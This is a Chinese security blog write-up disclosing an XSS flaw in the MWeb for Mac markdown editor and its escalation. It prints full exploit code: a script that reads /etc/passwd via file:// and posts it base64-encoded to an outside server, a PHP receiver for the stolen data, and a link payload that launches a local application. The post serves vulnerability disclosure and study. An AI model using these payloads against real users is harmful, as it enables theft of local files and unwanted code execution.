软件来源:https://zh.mweb.im/index.html

0x01 前言

前些天在测客户系统时经理大哥放话找到问题可以尽情利用,在测到某个系统时发现一个XSS,顺便插入了Payload,准备利用一下,顺便在MWeb里面记录下,之后点开Cookie接收平台时就意外发现了这个XSS小漏洞。在Wfox,小花,Wing等几位师傅的指点下完成进阶利用。非常感谢!次日早上醒来脑子一抽完成了再次进阶利用,实现了RCE.

0x02 过程

如图所示,就是这么简单。

测试了一下alert()执行不了,估计做了限制,也难怪平常放写稿子时没触发。

Poc:

<script src="//XssStage/ip.js"></script>

分析

自己又不懂二进制,该如何处分析这个问题是如何造成的,又该如何修复呢?

在携带回来的信息里可以看到KHTML字样。

某百科:

KHTML,是HTML网页排版引擎之一,由KDE所开发。KDE系统自KDE2版起,在文档及网页浏览器中使用了KHTML引擎。

可以猜测MWeb就是使用了这个引擎,测试如下图。

Html标签均可执行,就是使用KHTML引擎带来的问题没错了~

修复的话直接禁用所有js脚本就好啦~

进阶利用(窃取文件):

(以读/etc/passwd文件为例)

jsEXP:

<script>

(function() {
    var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
    var _toBinary = function(ascii) {
            var binary = new Array();
            while (ascii > 0) {
                var b = ascii % 2;
                ascii = Math.floor(ascii / 2);
                binary.push(b);
            }

            binary.reverse();
            return binary;
        };


    var _toDecimal = function(binary) {
            var dec = 0;
            var p = 0;
            for (var i = binary.length - 1; i >= 0; --i) {
                var b = binary[i];
                if (b == 1) {
                    dec += Math.pow(2, p);
                }++p;
            }
            return dec;
        };


    var _toUTF8Binary = function(c, binaryArray) {
            var mustLen = (8 - (c + 1)) + ((c - 1) * 6);
            var fatLen = binaryArray.length;
            var diff = mustLen - fatLen;
            while (--diff >= 0) {
                binaryArray.unshift(0);
            }
            var binary = [];
            var _c = c;
            while (--_c >= 0) {
                binary.push(1);
            }
            binary.push(0);
            var i = 0,
                len = 8 - (c + 1);
            for (; i < len; ++i) {
                binary.push(binaryArray[i]);
            }

            for (var j = 0; j < c - 1; ++j) {
                binary.push(1);
                binary.push(0);
                var sum = 6;
                while (--sum >= 0) {
                    binary.push(binaryArray[i++]);
                }
            }
            return binary;
        };

    var __BASE64 = {
        encoder: function(str) {
            var base64_Index = [];
            var binaryArray = [];
            for (var i = 0, len = str.length; i < len; ++i) {
                var unicode = str.charCodeAt(i);
                var _tmpBinary = _toBinary(unicode);
                if (unicode < 0x80) {
                    var _tmpdiff = 8 - _tmpBinary.length;
                    while (--_tmpdiff >= 0) {
                        _tmpBinary.unshift(0);
                    }
                    binaryArray = binaryArray.concat(_tmpBinary);
                } else if (unicode >= 0x80 && unicode <= 0x7FF) {
                    binaryArray = binaryArray.concat(_toUTF8Binary(2, _tmpBinary));
                } else if (unicode >= 0x800 && unicode <= 0xFFFF) { //UTF-8 3byte
                    binaryArray = binaryArray.concat(_toUTF8Binary(3, _tmpBinary));
                } else if (unicode >= 0x10000 && unicode <= 0x1FFFFF) { //UTF-8 4byte
                    binaryArray = binaryArray.concat(_toUTF8Binary(4, _tmpBinary));
                } else if (unicode >= 0x200000 && unicode <= 0x3FFFFFF) { //UTF-8 5byte
                    binaryArray = binaryArray.concat(_toUTF8Binary(5, _tmpBinary));
                } else if (unicode >= 4000000 && unicode <= 0x7FFFFFFF) { //UTF-8 6byte
                    binaryArray = binaryArray.concat(_toUTF8Binary(6, _tmpBinary));
                }
            }

            var extra_Zero_Count = 0;
            for (var i = 0, len = binaryArray.length; i < len; i += 6) {
                var diff = (i + 6) - len;
                if (diff == 2) {
                    extra_Zero_Count = 2;
                } else if (diff == 4) {
                    extra_Zero_Count = 4;
                }
                var _tmpExtra_Zero_Count = extra_Zero_Count;
                while (--_tmpExtra_Zero_Count >= 0) {
                    binaryArray.push(0);
                }
                base64_Index.push(_toDecimal(binaryArray.slice(i, i + 6)));
            }

            var base64 = '';
            for (var i = 0, len = base64_Index.length; i < len; ++i) {
                base64 += BASE64_MAPPING[base64_Index[i]];
            }

            for (var i = 0, len = extra_Zero_Count / 2; i < len; ++i) {
                base64 += '=';
            }
            return base64;
        },
    };

    window.BASE64 = __BASE64;
})();

function createXHR() {
    if (typeof XMLHttpRequest != 'undefined') {
        return new XMLHttpRequest();
    } else if (typeof ActiveXObject != 'undefined') {
        if (typeof arguments.callee.activeXString != 'string') {
            var versions = ['MSXML2.XMLHttp.6.0', 'MSXML2.XMLHttp.3.0', 'MSXML2.XMLHttp'];
            for (var i = 0; i < versions.length; i++) {
                try {
                    var xhr = new ActiveXObject(versions[i]);
                    arguments.callee.activeXString = versions[i];
                    return xhr;
                } catch (ex) {}
            }
        }
        return new ActiveXObject(arguments.callee.activeXString);
    } else {
        throw new Error('No XHR Object available');
    }
}


function post(URL, PARAMS) {
    var temp = document.createElement("form");
    temp.action = URL;
    temp.method = "post";
    temp.style.display = "none";
    for (var x in PARAMS) {
        var opt = document.createElement("textarea");
        opt.name = x;
        opt.value = PARAMS[x];
        temp.appendChild(opt);
    }
    document.body.appendChild(temp);
    temp.submit();
    return temp;
}

function sendGetRequest(url, callback) {
    var xhr = createXHR();
    xhr.open('GET', url, false);
    xhr.send();
    callback(xhr.responseText);
}


sendGetRequest('file:///etc/passwd', function(response) {
    var text = BASE64.encoder(response);
    post('https://www.test.com/mweb/file.php', {file:text});
});

</script>

接收端:

<?php
    $data = base64_decode($_POST["file"]);
    $file = fopen("file.txt",'a');
    fwrite($file,$data);
    fclose($file);
?>

效果:

0x03 RCE的实现

感谢昨晚室友估计超60分贝的呼噜声让我无法入眠,早上醒得早,脑子一抽,就想到了这个Joke Remote Code Execution。

实际上没这么麻烦:

POC代码:

<a href="file:///Applications/Calculator.app" onclick="closewin();" id="alink">

<input id="btn" onclick="test()">   </input>

<script>
    document.getElementById("alink").click();
</script>

弹个计算器 【手动狗头】

GIF图:

所有POC都放到附件中一起上传了吧,仅供技术交流、请勿非法使用~

0x04 总结

漏洞本来挖到xss就放弃了的,发出来后在几个师傅的指点下又进一步利用了,以前看的几篇Xss2RCE的文章真是白看了。我是真是个辣鸡弟弟[手动打自己的脸]。该问题出现在Windows平台的其他MarkDown编辑器中的话可结合js执行cmd直接化为RCE来用。

实测

再次感谢Wfox,小花,Wing等几位师傅。

我是CoolCat,一个菜但是原意认真学习的弱鸡~

MWeb For Mac 客户端 XSS 到任意文件窃取.zip (0.004 MB) 下载附件
点击收藏 | 1 关注 | 1
登录 后跟帖